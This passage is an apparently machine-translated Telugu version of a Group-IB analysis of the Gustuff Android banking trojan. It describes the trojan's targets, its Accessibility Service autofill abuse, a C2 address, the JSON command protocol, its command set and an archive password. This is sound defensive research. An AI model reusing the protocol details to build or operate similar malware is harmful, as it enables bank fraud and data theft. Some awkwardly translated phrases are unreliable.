మరుసటి రోజు గ్రూప్-ఐబి
గ్రూప్-IBలో హానికరమైన కోడ్ విశ్లేషణ నిపుణుడు ఇవాన్ పిసరేవ్ తన పరిశోధనలో, అతను గస్టఫ్ ఎలా పనిచేస్తుందో మరియు దాని ప్రమాదాల గురించి వివరంగా మాట్లాడాడు.
గస్టఫ్ ఎవరి కోసం వేటాడుతోంది?
గస్టఫ్ పూర్తిగా ఆటోమేటెడ్ ఫంక్షన్లతో కూడిన కొత్త తరం మాల్వేర్కు చెందినది. డెవలపర్ ప్రకారం, ట్రోజన్ AndyBot మాల్వేర్ యొక్క కొత్త మరియు మెరుగైన సంస్కరణగా మారింది, ఇది నవంబర్ 2017 నుండి Android ఫోన్లపై దాడి చేసి, ఫిషింగ్ వెబ్ ఫారమ్ల ద్వారా ప్రసిద్ధ అంతర్జాతీయ బ్యాంకులు మరియు చెల్లింపు వ్యవస్థల యొక్క మొబైల్ అప్లికేషన్ల రూపంలో డబ్బును దొంగిలిస్తోంది. బెస్ట్ఆఫర్ గస్టఫ్ బాట్ అద్దె ధర నెలకు $800 అని నివేదించింది.
బ్యాంక్ ఆఫ్ అమెరికా, బ్యాంక్ ఆఫ్ స్కాట్లాండ్, JP మోర్గాన్, వెల్స్ ఫార్గో, క్యాపిటల్ వన్, TD బ్యాంక్, PNC బ్యాంక్, అలాగే క్రిప్టో వాలెట్ల వంటి అతిపెద్ద బ్యాంకుల మొబైల్ అప్లికేషన్లను ఉపయోగించే కస్టమర్లను ట్రోజన్ సంభావ్యంగా లక్ష్యంగా చేసుకుంటుందని గస్టఫ్ నమూనా యొక్క విశ్లేషణలో తేలింది. బిట్కాయిన్ వాలెట్, బిట్పే, క్రిప్టోపే, కాయిన్బేస్ మొదలైనవి.
వాస్తవానికి క్లాసిక్ బ్యాంకింగ్ ట్రోజన్గా సృష్టించబడింది, దాని ప్రస్తుత వెర్షన్లో గస్టఫ్ దాడికి సంభావ్య లక్ష్యాల జాబితాను గణనీయంగా విస్తరించింది. బ్యాంకులు, ఫిన్టెక్ కంపెనీలు మరియు క్రిప్టో సేవల కోసం ఆండ్రాయిడ్ అప్లికేషన్లతో పాటు, మార్కెట్ప్లేస్ అప్లికేషన్లు, ఆన్లైన్ స్టోర్లు, పేమెంట్ సిస్టమ్లు మరియు ఇన్స్టంట్ మెసెంజర్ల వినియోగదారులను గస్టఫ్ లక్ష్యంగా చేసుకుంది. ముఖ్యంగా, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut మరియు ఇతరులు.
ఎంట్రీ పాయింట్: మాస్ ఇన్ఫెక్షన్ కోసం గణన
APKలకు లింక్లతో SMS మెయిలింగ్ల ద్వారా Android స్మార్ట్ఫోన్లలోకి చొచ్చుకుపోయే "క్లాసిక్" వెక్టర్ ద్వారా Gustuff వర్గీకరించబడుతుంది. సర్వర్ ఆదేశంతో Android పరికరం ట్రోజన్తో సంక్రమించినప్పుడు, ఇన్ఫెక్షన్ సోకిన ఫోన్ యొక్క కాంటాక్ట్ డేటాబేస్ ద్వారా లేదా సర్వర్ డేటాబేస్ ద్వారా Gustuff మరింత వ్యాప్తి చెందుతుంది. గస్టఫ్ యొక్క కార్యాచరణ మాస్ ఇన్ఫెక్షన్ మరియు దాని ఆపరేటర్ల వ్యాపారం యొక్క గరిష్ట క్యాపిటలైజేషన్ కోసం రూపొందించబడింది - ఇది చట్టబద్ధమైన మొబైల్ బ్యాంకింగ్ అప్లికేషన్లు మరియు క్రిప్టో వాలెట్లలోకి ప్రత్యేకమైన “ఆటో-ఫిల్” ఫంక్షన్ను కలిగి ఉంది, ఇది డబ్బు దొంగతనాన్ని వేగవంతం చేయడానికి మరియు స్కేల్ చేయడానికి మిమ్మల్ని అనుమతిస్తుంది.
ట్రోజన్ యొక్క అధ్యయనం వైకల్యాలున్న వ్యక్తుల కోసం ఒక సేవ అయిన యాక్సెసిబిలిటీ సర్వీస్ని ఉపయోగించి అందులో ఆటోఫిల్ ఫంక్షన్ అమలు చేయబడిందని తేలింది. ఈ Android సేవను ఉపయోగించి ఇతర అప్లికేషన్ల విండో ఎలిమెంట్లతో పరస్పర చర్యకు వ్యతిరేకంగా రక్షణను విజయవంతంగా దాటవేసే మొదటి ట్రోజన్ Gustuff కాదు. అయినప్పటికీ, కార్ ఫిల్లర్తో కలిపి యాక్సెసిబిలిటీ సర్వీస్ని ఉపయోగించడం ఇప్పటికీ చాలా అరుదు.
బాధితుడి ఫోన్కి డౌన్లోడ్ చేసిన తర్వాత, యాక్సెసిబిలిటీ సర్వీస్ని ఉపయోగించి గస్టఫ్, ఇతర అప్లికేషన్ల విండో ఎలిమెంట్లతో (బ్యాంకింగ్, క్రిప్టోకరెన్సీ, అలాగే ఆన్లైన్ షాపింగ్ కోసం అప్లికేషన్లు, మెసేజింగ్ మొదలైనవి) ఇంటరాక్ట్ చేయగలదు, దాడి చేసేవారికి అవసరమైన చర్యలను చేస్తుంది. . ఉదాహరణకు, సర్వర్ ఆదేశంతో, ట్రోజన్ బటన్లను నొక్కవచ్చు మరియు బ్యాంకింగ్ అప్లికేషన్లలోని టెక్స్ట్ ఫీల్డ్ల విలువలను మార్చగలదు. యాక్సెసిబిలిటీ సర్వీస్ మెకానిజంను ఉపయోగించడం వలన ట్రోజన్ మునుపటి తరం మొబైల్ ట్రోజన్లను ఎదుర్కోవడానికి బ్యాంకులు ఉపయోగించే భద్రతా విధానాలను దాటవేయడానికి అనుమతిస్తుంది, అలాగే Android OS యొక్క కొత్త వెర్షన్లలో Google ద్వారా అమలు చేయబడిన భద్రతా విధానంలో మార్పులను చేస్తుంది. అందువల్ల, Google ప్రొటెక్ట్ ప్రొటెక్ట్ను డిసేబుల్ చేయడం గురించి గస్టఫ్ "ఎలా తెలుసు": రచయిత ప్రకారం, ఈ ఫంక్షన్ 70% కేసులలో పనిచేస్తుంది.
గస్టఫ్ చట్టబద్ధమైన మొబైల్ అప్లికేషన్ల చిహ్నాలతో నకిలీ పుష్ నోటిఫికేషన్లను కూడా ప్రదర్శించగలదు. వినియోగదారు పుష్ నోటిఫికేషన్పై క్లిక్ చేసి, సర్వర్ నుండి డౌన్లోడ్ చేయబడిన ఫిషింగ్ విండోను చూస్తారు, అక్కడ అతను అభ్యర్థించిన బ్యాంక్ కార్డ్ లేదా క్రిప్టో వాలెట్ డేటాను నమోదు చేస్తాడు. మరొక గస్టఫ్ దృష్టాంతంలో, పుష్ నోటిఫికేషన్ ప్రదర్శించబడే అప్లికేషన్ తెరవబడుతుంది. ఈ సందర్భంలో, మాల్వేర్, యాక్సెసిబిలిటీ సర్వీస్ ద్వారా సర్వర్ నుండి కమాండ్ చేసిన తర్వాత, మోసపూరిత లావాదేవీ కోసం బ్యాంకింగ్ అప్లికేషన్ యొక్క ఫారమ్ ఫీల్డ్లను పూరించవచ్చు.
Gustuff యొక్క కార్యాచరణలో సర్వర్కు సోకిన పరికరం గురించి సమాచారాన్ని పంపడం, SMS సందేశాలను చదవడం/పంపడం, USSD అభ్యర్థనలను పంపడం, SOCKS5 ప్రాక్సీని ప్రారంభించడం, లింక్ను అనుసరించడం, ఫైల్లను (పత్రాల ఫోటో స్కాన్లు, స్క్రీన్షాట్లు, ఫోటోగ్రాఫ్లతో సహా) పంపడం వంటివి కూడా ఉన్నాయి. సర్వర్ , పరికరాన్ని ఫ్యాక్టరీ సెట్టింగ్లకు రీసెట్ చేయండి.
మాల్వేర్ విశ్లేషణ
హానికరమైన అప్లికేషన్ను ఇన్స్టాల్ చేసే ముందు, ఆండ్రాయిడ్ OS వినియోగదారుకు గస్టఫ్ అభ్యర్థించిన హక్కుల జాబితాను కలిగి ఉన్న విండోను చూపుతుంది:
వినియోగదారు సమ్మతి పొందిన తర్వాత మాత్రమే అప్లికేషన్ ఇన్స్టాల్ చేయబడుతుంది. అప్లికేషన్ను ప్రారంభించిన తర్వాత, ట్రోజన్ వినియోగదారుకు విండోను చూపుతుంది:
ఆ తర్వాత దాని చిహ్నాన్ని తీసివేస్తుంది.
రచయిత ప్రకారం, FTT నుండి ప్యాకర్ ద్వారా గుస్టఫ్ ప్యాక్ చేయబడింది. ప్రారంభించిన తర్వాత, ఆదేశాలను స్వీకరించడానికి అప్లికేషన్ క్రమానుగతంగా CnC సర్వర్ని సంప్రదిస్తుంది. మేము పరిశీలించిన అనేక ఫైల్లు నియంత్రణ సర్వర్గా IP చిరునామాను ఉపయోగించాయి 88.99.171[.]105 (ఇకపై మనం దానిని ఇలా సూచిస్తాము <%CnC%>).
ప్రారంభించిన తర్వాత, ప్రోగ్రామ్ సర్వర్కు సందేశాలను పంపడం ప్రారంభిస్తుంది http://<%CnC%>/api/v1/get.php.
ప్రతిస్పందన JSON కింది ఫార్మాట్లో ఉంటుందని భావిస్తున్నారు:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
అప్లికేషన్ యాక్సెస్ చేయబడిన ప్రతిసారీ, అది సోకిన పరికరం గురించి సమాచారాన్ని పంపుతుంది. సందేశం ఆకృతి క్రింద చూపబడింది. క్షేత్రాలు కావడం గమనార్హం పూర్తి, అదనపు, అనువర్తనాలు и అనుమతి - ఐచ్ఛికం మరియు CnC నుండి అభ్యర్థన కమాండ్ విషయంలో మాత్రమే పంపబడుతుంది.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
కాన్ఫిగరేషన్ డేటాను నిల్వ చేస్తోంది
గస్టఫ్ ప్రాధాన్యత ఫైల్లో కార్యాచరణ ముఖ్యమైన సమాచారాన్ని నిల్వ చేస్తుంది. ఫైల్ పేరు, అలాగే దానిలోని పారామితుల పేర్లు, స్ట్రింగ్ నుండి MD5 మొత్తాన్ని లెక్కించడం వల్ల ఏర్పడతాయి. 15413090667214.6.1<%name%>పేరు <%పేరు%> - ప్రారంభ పేరు-విలువ. పేరు ఉత్పత్తి ఫంక్షన్ యొక్క పైథాన్ వివరణ:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
కింది వాటిలో మనం దానిని ఇలా సూచిస్తాము నేమ్జెనరేటర్(ఇన్పుట్).
కాబట్టి మొదటి ఫైల్ పేరు: నేమ్జెనరేటర్("API_SERVER_LIST"), ఇది క్రింది పేర్లతో విలువలను కలిగి ఉంది:
వేరియబుల్ పేరు | విలువ |
---|---|
నేమ్జెనరేటర్("API_SERVER_LIST") | శ్రేణి రూపంలో CnC చిరునామాల జాబితాను కలిగి ఉంటుంది. |
నేమ్జెనరేటర్("API_SERVER_URL") | CnC చిరునామాను కలిగి ఉంటుంది. |
నేమ్జెనరేటర్("SMS_UPLOAD") | ఫ్లాగ్ డిఫాల్ట్గా సెట్ చేయబడింది. ఫ్లాగ్ సెట్ చేయబడితే, CnCకి SMS సందేశాలను పంపుతుంది. |
నేమ్జెనరేటర్("SMS_ROOT_NUMBER") | సోకిన పరికరం ద్వారా SMS సందేశాలు పంపబడే ఫోన్ నంబర్. డిఫాల్ట్ శూన్యం. |
నేమ్జెనరేటర్("SMS_ROOT_NUMBER_RESEND") | ఫ్లాగ్ డిఫాల్ట్గా క్లియర్ చేయబడింది. ఇన్స్టాల్ చేయబడితే, సోకిన పరికరం SMSను స్వీకరించినప్పుడు, అది రూట్ నంబర్కి పంపబడుతుంది. |
నేమ్జెనరేటర్("DEFAULT_APP_SMS") | ఫ్లాగ్ డిఫాల్ట్గా క్లియర్ చేయబడింది. ఈ ఫ్లాగ్ సెట్ చేయబడితే, అప్లికేషన్ ఇన్కమింగ్ SMS సందేశాలను ప్రాసెస్ చేస్తుంది. |
నేమ్జెనరేటర్("DEFAULT_ADMIN") | ఫ్లాగ్ డిఫాల్ట్గా క్లియర్ చేయబడింది. ఫ్లాగ్ సెట్ చేయబడితే, అప్లికేషన్కు నిర్వాహక హక్కులు ఉంటాయి. |
నేమ్జెనరేటర్("DEFAULT_ACCESSIBILITY") | ఫ్లాగ్ డిఫాల్ట్గా క్లియర్ చేయబడింది. ఫ్లాగ్ సెట్ చేయబడితే, యాక్సెసిబిలిటీ సర్వీస్ని ఉపయోగించే సర్వీస్ రన్ అవుతుంది. |
నేమ్జెనరేటర్("APPS_CONFIG") | నిర్దిష్ట అప్లికేషన్తో అనుబంధించబడిన యాక్సెసిబిలిటీ ఈవెంట్ ట్రిగ్గర్ అయినప్పుడు తప్పనిసరిగా చేయాల్సిన చర్యల జాబితాను కలిగి ఉండే JSON ఆబ్జెక్ట్. |
నేమ్జెనరేటర్("APPS_INSTALLED") | పరికరంలో ఇన్స్టాల్ చేయబడిన అప్లికేషన్ల జాబితాను నిల్వ చేస్తుంది. |
నేమ్జెనరేటర్("IS_FIST_RUN") | ఫ్లాగ్ మొదటి ప్రారంభంలో రీసెట్ చేయబడింది. |
నేమ్జెనరేటర్("UNIQUE_ID") | ప్రత్యేకమైన ఐడెంటిఫైయర్ని కలిగి ఉంది. బాట్ మొదటిసారి ప్రారంభించబడినప్పుడు రూపొందించబడింది. |
సర్వర్ నుండి ఆదేశాలను ప్రాసెస్ చేయడానికి మాడ్యూల్
అప్లికేషన్ CnC సర్వర్ల చిరునామాలను ఎన్కోడ్ చేసిన శ్రేణి రూపంలో నిల్వ చేస్తుంది 85 పంక్తులు. తగిన కమాండ్ అందుకున్న తర్వాత CnC సర్వర్ల జాబితాను మార్చవచ్చు, ఈ సందర్భంలో చిరునామాలు ప్రాధాన్యత ఫైల్లో నిల్వ చేయబడతాయి.
అభ్యర్థనకు ప్రతిస్పందనగా, సర్వర్ అప్లికేషన్కు ఆదేశాన్ని పంపుతుంది. కమాండ్లు మరియు పారామీటర్లు JSON ఫార్మాట్లో ప్రదర్శించబడటం గమనించదగ్గ విషయం. అప్లికేషన్ కింది ఆదేశాలను ప్రాసెస్ చేయగలదు:
జట్టు | వివరణ |
---|---|
ఫార్వర్డ్ స్టార్ట్ | సోకిన పరికరం ద్వారా అందుకున్న SMS సందేశాలను CnC సర్వర్కు పంపడం ప్రారంభించండి. |
ఫార్వర్డ్ స్టాప్ | సోకిన పరికరం ద్వారా అందుకున్న SMS సందేశాలను CnC సర్వర్కు పంపడం ఆపివేయండి. |
ussdRun | USSD అభ్యర్థనను అమలు చేయండి. మీరు USSD అభ్యర్థన చేయాల్సిన నంబర్ JSON ఫీల్డ్ “నంబర్”లో ఉంది. |
SMS పంపండి | ఒక SMS సందేశాన్ని పంపండి (అవసరమైతే, సందేశం భాగాలుగా విభజించబడింది). పారామీటర్గా, కమాండ్ "to" ఫీల్డ్లను కలిగి ఉన్న JSON ఆబ్జెక్ట్ను తీసుకుంటుంది - గమ్యం సంఖ్య మరియు "బాడీ" - సందేశం యొక్క భాగం. |
SMSAb | సోకిన పరికరం యొక్క సంప్రదింపు జాబితాలోని ప్రతి ఒక్కరికీ SMS సందేశాలను పంపండి (అవసరమైతే, సందేశం భాగాలుగా విభజించబడింది). సందేశాలు పంపడం మధ్య విరామం 10 సెకన్లు. సందేశం యొక్క భాగం JSON ఫీల్డ్ "బాడీ"లో ఉంది |
పంపండిSmsMass | కమాండ్ పారామితులలో పేర్కొన్న పరిచయాలకు SMS సందేశాలను పంపండి (అవసరమైతే, సందేశం భాగాలుగా విభజించబడింది). సందేశాలు పంపడం మధ్య విరామం 10 సెకన్లు. పారామీటర్గా, కమాండ్ JSON శ్రేణిని తీసుకుంటుంది (“sms” ఫీల్డ్), వీటిలో మూలకాలు “to” ఫీల్డ్లను కలిగి ఉంటాయి - గమ్యం సంఖ్య మరియు “బాడీ” - సందేశం యొక్క శరీరం. |
మార్చండి సర్వర్ | ఈ కమాండ్ “url” కీతో ఒక పరామితిగా విలువను తీసుకోగలదు - అప్పుడు బాట్ నేమ్జెనరేటర్ (“SERVER_URL”) లేదా “శ్రేణి” యొక్క విలువను మారుస్తుంది - అప్పుడు బాట్ శ్రేణిని nameGeneratorకి వ్రాస్తుంది (“API_SERVER_LIST”) అందువలన, అప్లికేషన్ CnC సర్వర్ల చిరునామాను మారుస్తుంది. |
నిర్వాహక సంఖ్య | కమాండ్ రూట్ సంఖ్యతో పని చేయడానికి రూపొందించబడింది. కమాండ్ కింది పారామితులతో JSON ఆబ్జెక్ట్ను అంగీకరిస్తుంది: “సంఖ్య” — నేమ్జెనరేటర్ (“ROOT_NUMBER”)ని అందుకున్న విలువకు మార్చండి, “మళ్లీ పంపండి” — nameGeneratorని మార్చండి(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGeneratorకి పంపండి(“ROOT_NUMBER” ) ఏకైక ID. |
నవీకరణ సమాచారం | సోకిన పరికరం గురించి సమాచారాన్ని సర్వర్కు పంపండి. |
సమాచారం తొలగించుట | కమాండ్ వినియోగదారు డేటాను తొలగించడానికి ఉద్దేశించబడింది. అప్లికేషన్ ఏ పేరుతో ప్రారంభించబడిందనే దానిపై ఆధారపడి, పరికరం రీబూట్ (ప్రాధమిక వినియోగదారు)తో డేటా పూర్తిగా తొలగించబడుతుంది లేదా వినియోగదారు డేటా మాత్రమే తొలగించబడుతుంది (ద్వితీయ వినియోగదారు). |
సాక్స్ స్టార్ట్ | ప్రాక్సీ మాడ్యూల్ను ప్రారంభించండి. మాడ్యూల్ యొక్క ఆపరేషన్ ప్రత్యేక విభాగంలో వివరించబడింది. |
సాక్స్ స్టాప్ | ప్రాక్సీ మాడ్యూల్ను ఆపివేయండి. |
లింక్ తెరవండి | లింక్ని అనుసరించండి. లింక్ "url" కీ క్రింద JSON పరామితిలో ఉంది. లింక్ని తెరవడానికి “android.intent.action.VIEW” ఉపయోగించబడుతుంది. |
అన్నిSms అప్లోడ్ చేయండి | పరికరం అందుకున్న అన్ని SMS సందేశాలను సర్వర్కు పంపండి. |
అన్ని ఫోటోలను అప్లోడ్ చేయండి | సోకిన పరికరం నుండి చిత్రాలను URLకి పంపండి. URL పారామీటర్గా వస్తుంది. |
ఫైల్ని అప్లోడ్ చేయండి | సోకిన పరికరం నుండి URLకి ఫైల్ను పంపండి. URL పారామీటర్గా వస్తుంది. |
ఫోన్ నంబర్లను అప్లోడ్ చేయండి | మీ సంప్రదింపు జాబితా నుండి ఫోన్ నంబర్లను సర్వర్కు పంపండి. “ab” కీ ఉన్న JSON ఆబ్జెక్ట్ విలువను పారామీటర్గా స్వీకరించినట్లయితే, అప్లికేషన్ ఫోన్ బుక్ నుండి పరిచయాల జాబితాను అందుకుంటుంది. “sms” కీ ఉన్న JSON ఆబ్జెక్ట్ను పారామీటర్గా స్వీకరించినట్లయితే, అప్లికేషన్ SMS సందేశాలను పంపినవారి నుండి పరిచయాల జాబితాను చదువుతుంది. |
ఆర్కైవ్ మార్చండి | అప్లికేషన్ “url” కీని ఉపయోగించి పారామీటర్గా వచ్చే చిరునామా నుండి ఫైల్ను డౌన్లోడ్ చేస్తుంది. డౌన్లోడ్ చేయబడిన ఫైల్ "archive.zip" పేరుతో సేవ్ చేయబడింది. అప్లికేషన్ ఫైల్ను అన్జిప్ చేస్తుంది, ఐచ్ఛికంగా ఆర్కైవ్ పాస్వర్డ్ “b5jXh37gxgHBrZhQ4j3D”ని ఉపయోగిస్తుంది. అన్జిప్ చేయబడిన ఫైల్లు [బాహ్య నిల్వ]/hgps డైరెక్టరీలో సేవ్ చేయబడతాయి. ఈ డైరెక్టరీలో, అప్లికేషన్ వెబ్ నకిలీలను నిల్వ చేస్తుంది (క్రింద వివరించబడింది). |
చర్యలు | కమాండ్ యాక్షన్ సర్వీస్తో పని చేయడానికి రూపొందించబడింది, ఇది ప్రత్యేక విభాగంలో వివరించబడింది. |
పరీక్ష | ఏమీ చేయడం లేదు. |
డౌన్లోడ్ | కమాండ్ రిమోట్ సర్వర్ నుండి ఫైల్ను డౌన్లోడ్ చేయడానికి మరియు దానిని "డౌన్లోడ్లు" డైరెక్టరీకి సేవ్ చేయడానికి ఉద్దేశించబడింది. URL మరియు ఫైల్ పేరు వరుసగా JSON పారామీటర్ ఆబ్జెక్ట్లో పారామీటర్గా వస్తాయి, ఫీల్డ్లు: “url” మరియు “fileName”. |
తొలగించడానికి | "డౌన్లోడ్లు" డైరెక్టరీ నుండి ఫైల్ను తొలగిస్తుంది. ఫైల్ పేరు "fileName" కీతో JSON పరామితిలో వస్తుంది. ప్రామాణిక ఫైల్ పేరు “tmp.apk”. |
నోటిఫికేషన్ | నిర్వహణ సర్వర్ ద్వారా నిర్వచించబడిన వివరణ మరియు శీర్షిక వచనాలతో నోటిఫికేషన్ను చూపండి. |
కమాండ్ ఫార్మాట్ నోటిఫికేషన్:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
విచారణలో ఉన్న ఫైల్ ద్వారా రూపొందించబడిన నోటిఫికేషన్ ఫీల్డ్లో పేర్కొన్న అప్లికేషన్ ద్వారా రూపొందించబడిన నోటిఫికేషన్లకు సమానంగా కనిపిస్తుంది అనువర్తనం. ఫీల్డ్ విలువ ఉంటే openApp - నిజమే, నోటిఫికేషన్ తెరిచినప్పుడు, ఫీల్డ్లో పేర్కొన్న అప్లికేషన్ ప్రారంభించబడుతుంది అనువర్తనం. ఫీల్డ్ విలువ ఉంటే openApp - తప్పు, అప్పుడు:
- ఫిషింగ్ విండో తెరుచుకుంటుంది, అందులోని విషయాలు డైరెక్టరీ నుండి డౌన్లోడ్ చేయబడతాయి <%బాహ్య నిల్వ%>/hgps/<%filename%>
- ఫిషింగ్ విండో తెరుచుకుంటుంది, అందులోని విషయాలు సర్వర్ నుండి డౌన్లోడ్ చేయబడతాయి <%url%>?id=<%Bot id%>&app=<%అప్లికేషన్ పేరు%>
- కార్డ్ వివరాలను నమోదు చేసే అవకాశంతో Google Play కార్డ్ వలె మారువేషంలో ఫిషింగ్ విండో తెరవబడుతుంది.
అప్లికేషన్ ఏదైనా కమాండ్ ఫలితాన్ని పంపుతుంది <%CnC%>set_state.php కింది ఆకృతిలో JSON వస్తువుగా:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
యాక్షన్ సర్వీస్
అప్లికేషన్ ప్రాసెస్లు కలిగి ఉన్న ఆదేశాల జాబితా చర్య. కమాండ్ స్వీకరించబడినప్పుడు, పొడిగించిన ఆదేశాన్ని అమలు చేయడానికి కమాండ్ ప్రాసెసింగ్ మాడ్యూల్ ఈ సేవను యాక్సెస్ చేస్తుంది. సేవ JSON వస్తువును పారామీటర్గా అంగీకరిస్తుంది. సేవ కింది ఆదేశాలను అమలు చేయగలదు:
1. PARAMS_ACTION — అటువంటి ఆదేశాన్ని స్వీకరించినప్పుడు, సేవ మొదట JSON పరామితి నుండి టైప్ కీ యొక్క విలువను పొందుతుంది, ఇది క్రింది విధంగా ఉంటుంది:
- సర్వీస్ సమాచారం - ఉపకమాండ్ JSON పరామితి నుండి కీ ద్వారా విలువను పొందుతుంది ముఖ్యమైనది కాదు. ఫ్లాగ్ ఒప్పు అయితే, అప్లికేషన్ ఫ్లాగ్ను సెట్ చేస్తుంది FLAG_ISOLATED_PROCESS ప్రాప్యత సేవను ఉపయోగించి సేవకు. ఈ విధంగా సేవ ప్రత్యేక ప్రక్రియలో ప్రారంభించబడుతుంది.
- రూట్ — ప్రస్తుతం ఫోకస్లో ఉన్న విండో గురించిన సమాచారాన్ని స్వీకరించి సర్వర్కు పంపండి. అప్లికేషన్ AccessibilityNodeInfo తరగతిని ఉపయోగించి సమాచారాన్ని పొందుతుంది.
- అడ్మిన్ - నిర్వాహక హక్కులను అభ్యర్థించండి.
- ఆలస్యం — “డేటా” కీ కోసం పారామీటర్లో పేర్కొన్న మిల్లీసెకన్ల సంఖ్య కోసం యాక్షన్ల సేవను సస్పెండ్ చేయండి.
- విండోస్ — వినియోగదారుకు కనిపించే విండోల జాబితాను పంపండి.
- ఇన్స్టాల్ - సోకిన పరికరంలో అప్లికేషన్ను ఇన్స్టాల్ చేయండి. ఆర్కైవ్ ప్యాకేజీ పేరు "fileName" కీలో ఉంది. ఆర్కైవ్ డౌన్లోడ్ల డైరెక్టరీలో ఉంది.
- ప్రపంచ - సబ్కమాండ్ ప్రస్తుత విండో నుండి నావిగేట్ చేయడానికి ఉద్దేశించబడింది:
- త్వరిత సెట్టింగ్ల మెనులో
- క్రితం
- ఇల్లు
- నోటిఫికేషన్లకు
- ఇటీవల తెరిచిన అప్లికేషన్ల విండోకు
- ప్రయోగ - అప్లికేషన్ ప్రారంభించండి. అప్లికేషన్ పేరు కీ ద్వారా పారామీటర్గా వస్తుంది సమాచారం.
- శబ్దాలు - సౌండ్ మోడ్ను నిశ్శబ్దంగా మార్చండి.
- అన్లాక్ — స్క్రీన్ మరియు కీబోర్డ్ యొక్క బ్యాక్లైట్ని పూర్తి ప్రకాశానికి ఆన్ చేస్తుంది. అప్లికేషన్ వేక్లాక్ని ఉపయోగించి ఈ చర్యను చేస్తుంది, స్ట్రింగ్ [అప్లికేషన్ లేబుల్]:INFOని ట్యాగ్గా పేర్కొంటుంది
- అనుమతి అతివ్యాప్తి — ఫంక్షన్ అమలు చేయబడలేదు (కమాండ్ ఎగ్జిక్యూషన్కి ప్రతిస్పందన {"message":"మద్దతు లేదు"} లేదా {"message":"low sdk"})
- సంజ్ఞ — ఫంక్షన్ అమలు చేయబడలేదు (కమాండ్ ఎగ్జిక్యూషన్కి ప్రతిస్పందన {"message":"మద్దతు లేదు"}లేదా {"message":"Low API"})
- అనుమతులు — అప్లికేషన్ కోసం అనుమతులను అభ్యర్థించడానికి ఈ ఆదేశం అవసరం. అయితే, ప్రశ్న ఫంక్షన్ అమలు చేయబడలేదు, కాబట్టి ఆదేశం అర్థరహితం. అభ్యర్థించిన హక్కుల జాబితా "అనుమతులు" కీతో JSON శ్రేణి వలె వస్తుంది. ప్రామాణిక జాబితా:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- ఓపెన్ — ఫిషింగ్ విండోను ప్రదర్శించండి. సర్వర్ నుండి వచ్చే పరామితిని బట్టి, అప్లికేషన్ క్రింది ఫిషింగ్ విండోలను ప్రదర్శించవచ్చు:
- డైరెక్టరీలోని ఫైల్లో కంటెంట్లు వ్రాయబడిన ఫిషింగ్ విండోను చూపండి <%బాహ్య డైరెక్టరీ%>/hgps/<%param_filename%>. విండోతో వినియోగదారు పరస్పర చర్య యొక్క ఫలితం పంపబడుతుంది <%CnC%>/records.php
- చిరునామా నుండి కంటెంట్లు ముందే లోడ్ చేయబడిన ఫిషింగ్ విండోను చూపండి <%url_param%>?id=<%bot_id%>&app=<%packagename%>. విండోతో వినియోగదారు పరస్పర చర్య యొక్క ఫలితం పంపబడుతుంది <%CnC%>/records.php
- Google Play కార్డ్ వలె మారువేషంలో ఉన్న ఫిషింగ్ విండోను చూపండి.
- పరస్పర — ఆదేశం యాక్సెసిబిలిటీ సర్వీస్ ఉపయోగించి ఇతర అప్లికేషన్ల విండో ఎలిమెంట్స్తో ఇంటరాక్ట్ అయ్యేలా రూపొందించబడింది. పరస్పర చర్య కోసం కార్యక్రమంలో ప్రత్యేక సేవ అమలు చేయబడింది. విచారణలో ఉన్న అప్లికేషన్ విండోస్తో పరస్పర చర్య చేయవచ్చు:
- ప్రస్తుతం యాక్టివ్గా ఉంది. ఈ సందర్భంలో, పరామితి మీరు పరస్పర చర్య చేయవలసిన వస్తువు యొక్క id లేదా టెక్స్ట్ (పేరు)ని కలిగి ఉంటుంది.
